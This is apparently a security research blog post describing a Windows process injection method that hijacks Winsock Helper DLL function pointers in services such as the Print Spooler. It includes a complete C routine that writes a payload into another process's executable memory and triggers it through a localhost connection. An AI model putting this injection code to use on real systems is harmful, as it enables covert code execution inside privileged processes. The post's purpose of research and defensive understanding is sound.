Windows Process Injection: Winsock Helper Functions (WSHX)

Introduction

The MSDN documentation states that Winsock Helper Functions (WSHX) are “obsolete for Windows Server 2003, Windows Vista, and later…”. However, Helper DLLs continue to be used by the latest build of Windows 10 to implement sockets for TCP, Infrared, Bluetooth, Hyper-V, and in more recent years, the unix socket address family. The MSDN already describes in sufficient detail the Helper DLL architecture, so this post will only focus on one of the many ways Helper DLLs can be used for code redirection/process injection. The configuration for a specific Helper DLL has been misused in the past as a persistence method, although that will not be discussed here.

Winsock Helper DLL Info

A list of transports can be found under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock\Parameters as shown in figure 1.

Figure 1: Transports supported by Windows 10 VM.

Each string corresponds with a Helper DLL, the details of which can be found under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\\Parameters\Winsock. The Tcpip transport is shown in figure 2.

Figure 2. Transport configuration.

When a socket is created with a call to socket() or WSASocket(), a WINSOCK_HELPER_DLL_INFO structure is populated with information from the registry and the address of exported DLL functions before being inserted into the mswsock!SockHelperDllListHead structure. The WINSOCK_HELPER_DLL_INFO isn’t officially documented by Microsoft, however, you can find an earlier version of it online. A few fields for the latest version had to be reverse engineered, so I can only say this is valid for the latest build of Windows 10.

typedef struct _WINSOCK_HELPER_DLL_INFO {
    LIST_ENTRY                  HelperDllListEntry;
    DWORD                       Unknown;
    HANDLE                      DllHandle;
    INT                         MinSockaddrLength;
    INT                         MaxSockaddrLength;
    INT                         MinTdiAddressLength;
    INT                         MaxTdiAddressLength;
    ULONG64                     UseDelayedAcceptance;
    PWINSOCK_MAPPING            Mapping;
    GUID                        ProviderGUID;
    PWSH_OPEN_SOCKET            WSHOpenSocket;
    PWSH_OPEN_SOCKET2           WSHOpenSocket2;
    PWSH_JOIN_LEAF              WSHJoinLeaf;
    PWSH_NOTIFY                 WSHNotify;
    PWSH_GET_SOCKET_INFORMATION WSHGetSocketInformation;
    PWSH_SET_SOCKET_INFORMATION WSHSetSocketInformation;
    PWSH_GET_SOCKADDR_TYPE      WSHGetSockaddrType;
    PWSH_GET_WILDCARD_SOCKADDR  WSHGetWildcardSockaddr;
    PWSH_GET_BROADCAST_SOCKADDR WSHGetBroadcastSockaddr;
    PWSH_ADDRESS_TO_STRING      WSHAddressToString;
    PWSH_STRING_TO_ADDRESS      WSHStringToAddress;
    PWSH_IOCTL                  WSHIoctl;
} WINSOCK_HELPER_DLL_INFO, *PWINSOCK_HELPER_DLL_INFO;

Locating SockHelperDllListHead

mswsock!SockHelperDllListHead is a LIST_ENTRY structure declared as a global variable. The simplest and quickest way to locate the structure is by searching the .data segment for pointers to heap memory. Before conducting the search, a “dummy” TCP/IP socket should be created locally which initializes the structure. Once the structure is found, the address of the heap pointer is saved as a Relative Virtual Address (RVA) to be added with the base address of mswsock.dll in a remote process. You can try using SymFromName() or IDebugSymbols::GetOffsetByName to locate the exact address, but the PoC searches the .data segment thus avoiding any dependency on debugging symbols.

Locating Processes

Any process that uses Winsock functions is a potential vector for injection. However, to keep it simple, only processes that listen for incoming connections on TCP/IPv4 ports are selected by the PoC. The process must also allow us to open it for reading and writing Virtual Memory necessary for overwriting the function pointers. Figure 3. shows a list of available processes on a Windows 10 VM using this criteria.

Figure 3. TCP/IPv4 ports listening on Windows 10

The spooler service shown in figure 4 seems to use infrared sockets.

Figure 4. IrDA socket functions for the Print Spooler.

The Remote Procedure Call (RPC) and RPC Endpoint Mapper that are critical to Component Object Model (COM) and Distributed COM (DCOM) seem to use Hyper-V sockets, as shown in figure 5.

Figure 5. Hyper-V socket functions for the RPC service and RPC Endpoint Mapper.

A number of ways to trigger execution of the Winsock functions exist, but by far the simplest way is connecting to a listening port that results in a call to Tcpip4_WSHGetSocketInformation. This function is used for both IPv4 and IPv6, so it doesn’t matter what version of the protocol a process uses. Another way worth mentioning, but only affecting the Windows DNS Cache service requires using DnsQuery_A to resolve an IP address. The query results in a call to one of the WSHOpenSocket* functions that try and establish a connection to a remote DNS server. Figure 6. shows TCP/IPv4 functions.

Figure 6. TCP/IPv4 functions in mswsock.dll

Process Injection

In figure 7 you can see notepad running under the spooler service. I used this as a quick demo to show that the injection works.

Figure 7. Notepad running under the Print Spooler service after injection.

Below is the main injection code. See the full PoC here for more details about how it works.

VOID inject(DWORD pid, WORD port, LPVOID payload, DWORD payloadSize) {
    DWORD                   rva, r;
    HANDLE                  hp;
    WINSOCK_HELPER_DLL_INFO hdi;
    LPVOID                  cs, addr;
    SIZE_T                  wr;
    SOCKET                  s;
    struct sockaddr_in      sin;
    
    // 1. Try open process for reading/writing VM
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    if(hp == NULL) {
      printf("Unable to open PID : %i\n", pid);
      return;
    }
    
    // 2. Get helper DLL entry for TCP v4
    addr = GetHelperDLLInfo(hp, pid, &hdi);
    
    if(addr != NULL) {
      // 3. Create a windows socket and write the payload to remote process
      s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      
      cs = VirtualAllocEx(hp, NULL, payloadSize,
          MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
      
      // 4. Update the function pointer with pointer to payload
      WriteProcessMemory(
        hp, 
        (PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
        &cs,
        sizeof(ULONG_PTR), 
        &wr);

      // 5. Trigger it with connection to the port on localhost
      sin.sin_family      = AF_INET;
      sin.sin_port        = htons(port);
      sin.sin_addr.s_addr = inet_addr("127.0.0.1");
      
      connect(s, (struct sockaddr*)&sin, sizeof(sin));
      
      // wait a moment before restoring pointer
      Sleep(0);
      
      // 6. Restore function pointer and clean up
      WriteProcessMemory(
        hp, 
        (PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
        &hdi.WSHGetSocketInformation,
        sizeof(ULONG_PTR), 
        &wr);
        
      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
      closesocket(s);        
    }
    CloseHandle(hp);
}

Summary

It’s possible to modify Winsock Helper Functions in a remote process to execute a payload. The PoC exploits listening services simply because they are the easiest to use for injection. You may argue these services run with a high-integrity level and are therefore unlikely to be exploited by a real attacker. Many low-integrity processes use Winsock helper functions for outgoing connections and there are ways via other I/O mechanisms such as RPC, ALPC, and Window Messages that can lead to execution of the same helper functions. There are also interfaces made available to administrators that when accessed will also use Winsock helper functions to perform certain tasks. I’ve only scratched the surface on this, but it’s not just TCP/IP listeners that are affected.

This entry was posted in malware, process injection, programming, shellcode, windows and tagged , , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s